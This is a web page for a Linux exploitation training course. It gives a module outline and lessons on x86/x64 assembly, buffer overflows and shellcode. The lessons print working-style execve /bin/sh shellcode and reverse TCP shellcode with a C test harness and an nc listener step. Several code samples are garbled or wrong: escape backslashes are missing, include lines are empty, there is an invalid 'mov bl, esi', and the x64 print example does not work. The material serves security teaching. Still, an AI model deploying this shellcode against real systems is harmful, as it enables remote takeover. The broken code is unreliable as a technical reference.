Linux Exploitation: Advanced Penetration Testing & Security
About Course
Linux Exploitation: Advanced Penetration Testing & Security is a comprehensive, hands-on course designed for security professionals who want to deepen their knowledge and skills in exploiting Linux-based systems. This course covers advanced penetration testing techniques and security auditing methodologies specific to Linux environments. Participants will gain in-depth insights into the Linux operating system’s security mechanisms, vulnerabilities, and exploitation strategies, enabling them to identify, exploit, and defend against common and advanced security threats.
What Will You Learn?
- Linux Security Basics: Understand file permissions, user management, and security tools like SELinux and AppArmor.
- Vulnerability Exploitation: Identify and exploit common Linux vulnerabilities, including buffer overflows and weak configurations.
- Privilege Escalation: Master techniques to escalate from user to root privileges on compromised systems.
- Advanced Penetration Testing: Learn to execute complex attacks and bypass Linux security mechanisms.
- Post-Exploitation & Persistence: Maintain access, gather sensitive data, and evade detection.
- System Auditing & Hardening: Perform security audits, patch vulnerabilities, and harden Linux systems.
- Network Service Exploitation: Exploit weak services like SSH, FTP, and HTTP for unauthorized access.
- Through hands-on labs, you'll gain practical skills in attacking, defending, and securing Linux environments.
Course Content
Introduction to Linux Exploitation
Linux exploitation focuses on discovering and leveraging vulnerabilities in Linux-based systems to gain unauthorized access, elevate privileges, or extract sensitive information. Here's a brief introduction to Linux exploitation:
-
Linux Operating System Overview
00:00 -
Types of Linux Vulnerabilities
00:00 -
Common Tools and Techniques in Linux Security
00:00 -
Basic Steps in Linux Exploitation
00:00 -
PEDA – Python Exploit Development Assistance for GDB
00:00
Linux Stack smashing
"Stack smashing" in Linux (and more broadly in other operating systems) is a type of buffer overflow attack where an attacker deliberately writes more data to a buffer on the stack than it can hold. This overflow can overwrite adjacent memory on the stack, such as local variables, return addresses, and function pointers. Stack smashing is a common technique in exploiting vulnerabilities to take control of a program's execution flow.
-
How Stack Smashing Works
00:00 -
Why Stack Smashing is Dangerous
00:00 -
Modern Mitigations for Stack Smashing
00:00 -
Detecting and Preventing Stack Smashing in Code
00:00
Abusing the EIP control
Abusing the EIP (Extended Instruction Pointer) control is a technique typically used in buffer overflow attacks to gain control over the execution flow of a vulnerable program. The goal is to manipulate the EIP register to point to malicious code, which is then executed by the program. Here's a general breakdown of how EIP control is abused in such attacks:
-
Buffer Overflow Basics
00:00 -
Stack Structure
00:00 -
How EIP (Extended Instruction Pointer) is Controlled
00:00 -
Types of EIP Control Exploits
00:00
Linux Exploit Protections
Linux has several exploit protections designed to mitigate vulnerabilities and prevent attackers from gaining unauthorized access or escalating privileges. These protections are generally implemented at the system or kernel level and include both hardware and software-based security mechanisms. Here are some of the key Linux exploit protections
-
Understanding Address Space Layout Randomization (ASLR)
00:00 -
Understanding Data Execution Prevention (DEP)
00:00 -
Stack Canaries
00:00 -
Understanding Control Flow Integrity (CFI)
00:00 -
Understanding Mandatory Access Control (MAC) Systems
00:00 -
Understanding Kernel Address Space Layout Randomization (KASLR)
00:00 -
Understanding Seccomp (Secure Computing Mode)
00:00 -
Understanding Position Independent Executables (PIE)
00:00 -
Understanding Secure Memory Allocators
00:00 -
Understanding Linux Security Modules (LSMs)
00:00 -
Stack Cookies (Stack Canaries)
00:00
RELRO Relocation Read only
RELRO (Read-Only Relocation) is a security mechanism used to mitigate certain types of attacks that manipulate the program's memory, especially attacks that exploit vulnerabilities in the dynamic linker or modify function pointers.
-
How RELRO Works
00:00 -
Types of RELRO (Read-Only Relocation)
00:00 -
How to Check for RELRO in a Binary
00:00
ROP THEORY
Return-Oriented Programming (ROP) is a security exploit technique that enables an attacker to execute code by manipulating the control flow of a program, often bypassing security mechanisms like non-executable memory (NX) and address space layout randomization (ASLR).
-
Introduction to Return-Oriented Programming (ROP) Attack
00:00 -
Practical Example of ROP Exploitation
00:00
X86 Assembly Basics
X86 assembly language is a low-level programming language for the x86 architecture, which is used in most modern personal computers. It involves direct interaction with a computer’s CPU and provides precise control over hardware resources. Here’s a breakdown of the basics:
1. Registers
Registers are small storage locations within the CPU, used to store temporary data and perform operations.
General-purpose registers:
EAX: Accumulator for arithmetic operations.
EBX: Base register, often used for addressing.
ECX: Counter register, typically for loop operations.
EDX: Data register, used in I/O and arithmetic operations.
ESI/EDI: Source and Destination Index for data operations.
EBP: Base Pointer for stack frame referencing.
ESP: Stack Pointer for the current position in the stack.
Segment registers (CS, DS, SS, etc.) define memory segments, crucial for memory management.
2. Memory Segments
Memory is divided into segments, with each segment serving a specific purpose:
Code Segment (CS): Holds the program code.
Data Segment (DS): Stores data and variables.
Stack Segment (SS): Manages function calls and local variables.
Extra Segment (ES, FS, GS): Additional segments for data.
3. Instructions
Basic types include:
Data movement: Move data between registers, memory, and I/O (e.g., MOV, PUSH, POP).
Arithmetic: Perform calculations (e.g., ADD, SUB, MUL, DIV).
Control Flow: Change execution sequence (e.g., JMP, CALL, RET, LOOP).
Logical operations: Bitwise operations (e.g., AND, OR, XOR, NOT).
Comparison and Conditions: Set flags based on comparison results (e.g., CMP, JE, JNE, JG, JL).
4. Flags Register (EFLAGS)
The EFLAGS register contains status flags that represent the outcome of operations:
Zero Flag (ZF): Set if result of an operation is zero.
Sign Flag (SF): Set if result is negative.
Carry Flag (CF): Set for arithmetic overflow or underflow.
Overflow Flag (OF): Set for signed number overflow.
5. Basic Syntax
Assembly language syntax is straightforward:
Labels: Indicate locations in the code for jumps (e.g., start:).
Comments: Denoted by ; to explain code.
Instruction Format: [instruction] [destination], [source].
6. Example Code
Here’s a simple program that adds two numbers in assembly:
asm
section .data
num1 db 5 ; First number
num2 db 10 ; Second number
result db 0 ; To store result
section .text
global _start
_start:
mov al, [num1] ; Move num1 to AL register
add al, [num2] ; Add num2 to AL
mov [result], al ; Store the result
; Exit program
mov eax, 1 ; System call for exit
int 0x80 ; Call kernel
7. System Calls
System calls allow interaction with the operating system, like reading from or writing to I/O devices. In Linux, they’re usually invoked with an interrupt (int 0x80 on 32-bit systems) and a system call number in the EAX register.
8. Common Tools
Assembler: NASM (Netwide Assembler) is commonly used to convert assembly code to machine code.
Debugger: GDB (GNU Debugger) helps to inspect assembly code and CPU state during runtime.
Disassembler: Tools like objdump or IDA Pro help analyze binary code.
This should give you a starting point in x86 assembly. Working on small programs and experimenting with register values can help in understanding how CPU instructions directly affect hardware behavior.
Basic Linux Shellcode
In assembly, shellcode is a small piece of code used to exploit vulnerabilities by spawning a shell or executing specific commands on a target system. Writing basic Linux shellcode in x86 involves creating instructions that will interact with the Linux kernel using system calls, usually for spawning a shell.
Here’s a breakdown of creating simple Linux shellcode:
1. Shellcode Structure
Shellcode is written in assembly and should avoid null bytes (0x00), as these can terminate strings in certain programming languages.
Shellcode is self-contained and typically written in position-independent code (PIC) to run in any memory location.
2. Understanding System Calls
Shellcode typically uses system calls to interact with the kernel directly.
Each system call in Linux has a unique number, stored in the EAX register.
Parameters for the system call are passed in other registers: EBX, ECX, EDX, etc.
The int 0x80 instruction is used to trigger the system call.
3. Example: Execve System Call
execve() is commonly used in shellcode to spawn a shell (e.g., /bin/sh).
System call number for execve is 11 in Linux x86, which is stored in EAX.
execve takes three arguments:
Path to executable (/bin/sh).
Arguments array (set to NULL here).
Environment variables array (set to NULL here).
4. Writing Shellcode to Spawn /bin/sh
Here’s a basic shellcode to spawn a shell using execve() in Linux:
asm
section .text
global _start
_start:
; Place "/bin//sh" into memory
xor eax, eax ; Clear EAX register (set to 0)
push eax ; Null-terminate the string with 0
push 0x68732f2f ; Push "//sh" onto the stack
push 0x6e69622f ; Push "/bin" onto the stack
mov ebx, esp ; Set EBX to point to "/bin//sh"
; Set up the execve syscall
xor ecx, ecx ; Set ECX to 0 (NULL) - argument array
xor edx, edx ; Set EDX to 0 (NULL) - environment array
mov eax, 0xb ; Syscall number for execve is 11 (0xb in hex)
int 0x80 ; Trigger the system call
5. Explanation of the Code
String /bin/sh:
We push the string "/bin/sh" in reverse order onto the stack.
By using 0x68732f2f (for //sh) and 0x6e69622f (for /bin), we avoid null bytes.
Registers Setup:
EBX points to the string "/bin/sh" (stored at ESP).
ECX and EDX are set to zero to pass NULL as arguments and environment variables.
System Call Execution:
EAX is set to 0xb (the syscall number for execve).
int 0x80 triggers the system call.
6. Testing the Shellcode
To test, you can use a C program to execute the shellcode:
c
#include
#include
unsigned char shellcode[] =
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80";
int main() {
printf("Shellcode Length: %dn", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Compile with gcc -fno-stack-protector -z execstack shellcode.c -o shellcode.
Run ./shellcode to see if it spawns a shell.
7. Making Shellcode Null-Free
Ensure instructions do not generate null bytes (e.g., using xor instead of mov to set registers to zero).
Use push instructions to load strings in reverse to avoid null bytes.
8. Optimizing Shellcode
Keep shellcode minimal by reducing instruction size and avoiding unnecessary instructions.
Write with as few bytes as possible for efficiency.
9. Important Notes
Shellcode should be compact and avoid any hard-coded memory addresses.
For security and testing, use this shellcode in a controlled environment only.
This is a basic approach to Linux x86 shellcode and can be expanded to execute different commands or handle specific arguments for more complex exploits.
Reverse TCP Shellcode
Creating a reverse TCP shellcode in x86 assembly is a common way to establish a connection back to a remote system, allowing an attacker to gain control over the machine. This shellcode will connect back to a specified IP and port, then spawn a shell that sends and receives data over this connection.
Here’s how you can create a basic reverse TCP shellcode.
1. Reverse TCP Shellcode Structure
The shellcode performs the following steps:
Create a socket.
Connect to the specified IP and port.
Redirect standard input/output/error to the socket.
Execute a shell (usually /bin/sh).
2. System Calls Overview
Socket (socketcall): Linux uses the socketcall syscall (system call number 0x66) with different operations (socket creation, connection, etc.) specified in EBX.
socket: Sets EAX to 0x66 and EBX to 1.
connect: Sets EAX to 0x66 and EBX to 3.
Dup2: Redirects standard input, output, and error file descriptors to the socket (system call number 0x3f).
Execve: Executes /bin/sh as before (system call number 0xb).
3. Configuring IP and Port
IP and port are embedded directly in the shellcode.
Convert the IP to hexadecimal format (e.g., 127.0.0.1 becomes 0x7f000001).
Convert the port to hexadecimal in network byte order (e.g., port 4444 becomes 0x5c11).
4. Reverse TCP Shellcode Example
asm
section .text
global _start
_start:
; Step 1: Create socket
xor eax, eax ; Clear EAX
mov al, 0x66 ; Syscall number for socketcall
xor ebx, ebx
mov bl, 0x1 ; SYS_SOCKET call (socket creation)
push eax ; Protocol (0)
push byte 0x1 ; SOCK_STREAM
push byte 0x2 ; AF_INET (IPv4)
mov ecx, esp ; Pointer to [AF_INET, SOCK_STREAM, 0]
int 0x80 ; Make the syscall
mov esi, eax ; Save socket descriptor in ESI
; Step 2: Connect to IP:PORT
mov al, 0x66 ; Syscall number for socketcall
xor ebx, ebx
mov bl, 0x3 ; SYS_CONNECT call
push 0x0100007f ; IP = 127.0.0.1 (localhost)
push word 0x5c11 ; Port 4444 in hex (0x5c11) in network order
push word 0x2 ; AF_INET
mov ecx, esp ; Pointer to sockaddr structure
push 0x10 ; Length of sockaddr
push ecx ; Pointer to sockaddr
push esi ; Socket descriptor
mov ecx, esp ; Pointer to arguments
int 0x80 ; Make the syscall
; Step 3: Redirect stdin, stdout, stderr to the socket (dup2)
xor ebx, ebx
mov bl, esi ; EBX = socket descriptor
xor ecx, ecx
dup2_loop:
mov al, 0x3f ; Syscall number for dup2
int 0x80 ; Call dup2(socket, ecx)
inc ecx ; Increment ECX to go through stdin, stdout, stderr
cmp ecx, 0x3
jl dup2_loop ; Repeat for all 3 file descriptors
; Step 4: Execve /bin/sh
xor eax, eax
push eax ; Null-terminate the string
push 0x68732f2f ; Push "//sh"
push 0x6e69622f ; Push "/bin"
mov ebx, esp ; EBX = pointer to "/bin//sh"
xor ecx, ecx ; Null for argv[]
xor edx, edx ; Null for envp[]
mov al, 0xb ; Syscall number for execve
int 0x80 ; Call execve("/bin/sh", NULL, NULL)
5. Explanation of the Code
Socket Creation:
socket(AF_INET, SOCK_STREAM, 0) creates a TCP socket for IPv4. The syscall number 0x66 and the operation code 0x1 (for SYS_SOCKET) are set.
The resulting socket file descriptor is stored in ESI.
Connect:
The code sets up a sockaddr structure with the IP (127.0.0.1) and port (4444) and makes a connect syscall (0x66, operation 0x3 for SYS_CONNECT).
After the connection is established, the socket descriptor is ready for communication.
Dup2:
dup2(socket, fd) is called three times to redirect standard input (0), output (1), and error (2) to the socket.
Execve:
Finally, execve("/bin/sh", NULL, NULL) spawns a shell with "/bin/sh". This will route the shell's I/O through the connected socket, providing remote access to the shell.
6. Testing the Shellcode
To test the shellcode, you can run a C program similar to the following:
c
#include
#include
unsigned char shellcode[] =
"x31xc0xb0x66x31xdbxb3x01x50x50x50xb0x66x89xe1"
"xcdx80x89xc6xb0x66x31xdbxb3x03x68x7fx00x00x01"
"x66x68x11x5cx66x6ax02x89xe1x6ax10x51x56x89xe1"
"xcdx80x31xdbx89xf3x31xc9xb1x02xb0x3fxcdx80x49"
"x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6e"
"x89xe3x50x53x89xe1xb0x0bxcdx80";
int main() {
printf("Shellcode Length: %dn", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Compile with gcc -fno-stack-protector -z execstack shellcode.c -o shellcode.
Use a listener (e.g., nc -lvp 4444) on the target IP and port to catch the connection.
Run ./shellcode to execute the reverse shell.
7. Security and Caution
Run this shellcode only in a controlled environment (e.g., a virtual machine).
Reverse shellcode is commonly used in penetration testing, so handle it carefully and ethically.
X64 Architecture
The x64 architecture (also known as x86_64, AMD64, or Intel 64) is a 64-bit version of the x86 instruction set architecture, commonly used in modern desktops, laptops, and servers. Moving from x86 (32-bit) to x64 (64-bit) introduces several important changes and enhancements.
Key Differences and Features in x64 Architecture
Registers
x64 expands the register set and register size:
General-purpose registers: There are 16 general-purpose registers, each 64 bits wide.
RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP are extended from the x86 registers.
Eight additional registers: R8 to R15.
Registers can be accessed in parts:
64-bit (e.g., RAX)
32-bit (e.g., EAX), 16-bit (e.g., AX), and 8-bit (e.g., AL).
Instruction Pointer: RIP register holds the 64-bit address of the next instruction.
Segment Registers are still present (CS, DS, SS, etc.), but they are largely unused in 64-bit mode, simplifying memory addressing.
Instruction Set Enhancements
x64 includes several new instructions designed to improve performance and add functionality, especially for working with 64-bit integers and memory addresses.
RIP-relative addressing allows addressing relative to the current instruction pointer, which is helpful in creating position-independent code (PIC).
Extended SIMD instructions (such as AVX) and support for larger data types.
Addressing and Memory Model
In x64 mode, both 32-bit and 64-bit addressing modes are supported.
The x64 architecture typically supports a 48-bit virtual address space, providing access to a theoretical 256 TB of memory, though not all systems use the full address space.
Paging is used in 64-bit systems for memory management and allows programs to use virtual memory beyond the physical memory installed.
Calling Conventions
The calling convention specifies how function arguments are passed and how the return value is handled. In x64, it differs from x86:
In Linux (System V) x64 calling convention:
The first six integer or pointer arguments are passed in registers: RDI, RSI, RDX, RCX, R8, and R9.
Remaining arguments are passed on the stack.
RAX is used for return values, and RDX is used for larger return values (64 bits or more).
In Windows x64 calling convention:
The first four arguments are passed in RCX, RDX, R8, and R9.
Remaining arguments are passed on the stack.
RAX is used for the return value.
The stack is aligned to 16 bytes before calling a function to ensure efficient memory access.
Stack and Data Handling
The stack pointer (RSP) is 64 bits wide, allowing large stacks.
Stack operations (PUSH, POP) and function calls (CALL, RET) work similarly to x86 but handle 64-bit values by default.
When entering a function, you may see instructions to align the stack by subtracting from RSP.
64-Bit Specific Instructions
x64 introduces additional instructions for handling 64-bit operations more efficiently. Examples include:
MOV instructions to load and store 64-bit values.
Arithmetic operations like ADD, SUB, IMUL, IDIV, which now handle 64-bit integers.
MOVSX and MOVZX to move data with sign or zero extension from smaller registers to larger ones.
New instructions specific to x64 improve support for large integer calculations, encryption, and multi-threading.
Example x64 Assembly Code
Below is an example of a simple x64 assembly program in Linux to add two numbers and print the result:
asm
section .data
msg db "Result: %d", 10, 0 ; Message with newline and null terminator
section .bss
result resb 4 ; Reserve 4 bytes for the result
section .text
global _start
_start:
; Add two numbers (3 + 5)
mov rax, 3 ; First number
add rax, 5 ; Add second number
mov [result], eax ; Store the result
; Print result using syscall
mov rdi, msg ; Format string
mov rsi, [result] ; Load result for printing
xor rax, rax ; Clear rax for syscall
mov rax, 1 ; Syscall number for write
mov rdi, 1 ; File descriptor 1 (stdout)
mov rsi, msg ; Message to print
mov rdx, 12 ; Length of message
syscall ; Invoke syscall
; Exit program
mov rax, 60 ; Syscall number for exit
xor rdi, rdi ; Exit status 0
syscall
Explanation of the Code
Registers: RAX is used as an accumulator to add the numbers.
Data Section: Defines a msg string that includes a placeholder for printing the result.
Instructions:
mov rax, 3 and add rax, 5: Simple addition.
mov [result], eax: Stores the result in memory.
mov rax, 1: Sets up the write syscall to print to standard output.
Tips for Working with x64 Assembly
Use registers for parameter passing according to the calling convention of your target OS.
Align the stack to 16 bytes before calling any functions.
Familiarize yourself with the 64-bit syscall numbers, which are different from 32-bit syscall numbers in Linux.
Avoid unnecessary 64-bit extensions (e.g., avoid using rax if eax suffices), as these can impact performance.
x64 assembly programming provides powerful capabilities and allows handling much larger data sets than x86, making it ideal for applications requiring high performance and large memory handling.
-
Understanding Shellcode Basics
00:00
Format string vulnerabilities
Format string vulnerabilities are a class of security flaws that occur when user input is improperly passed to a formatted output function, like printf() in C, without validation. These vulnerabilities can be exploited to manipulate memory, leak sensitive data, and even achieve arbitrary code execution in a program.
-
Understanding Format Strings and Vulnerabilities
00:00 -
Introduction to Format String Exploitation
00:00
Student Ratings & Reviews
No Review Yet